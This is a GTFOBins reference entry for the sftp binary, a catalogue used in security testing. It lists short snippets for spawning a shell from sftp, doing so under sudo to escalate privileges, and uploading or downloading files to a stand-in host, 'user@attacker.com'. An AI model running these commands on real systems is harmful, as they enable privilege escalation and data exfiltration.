GTFOBins.github.io/_gtfobins/sftp.md

---
functions:
  execute-interactive:
  - code: |
      HOST=user@attacker.com
      sftp $HOST
      !/bin/sh
  upload:
  - description: Send local file to a SSH server.
    code: |
      RHOST=user@attacker.com
      sftp $RHOST
      put file_to_send file_to_save
  download:
  - description: Fetch a remote file from a SSH server.
    code: |
      RHOST=user@attacker.com
      sftp $RHOST
      get file_to_get file_to_save
  sudo-enabled:
  - code: |
      HOST=user@attacker.com
      sudo sftp $HOST
      !/bin/sh
---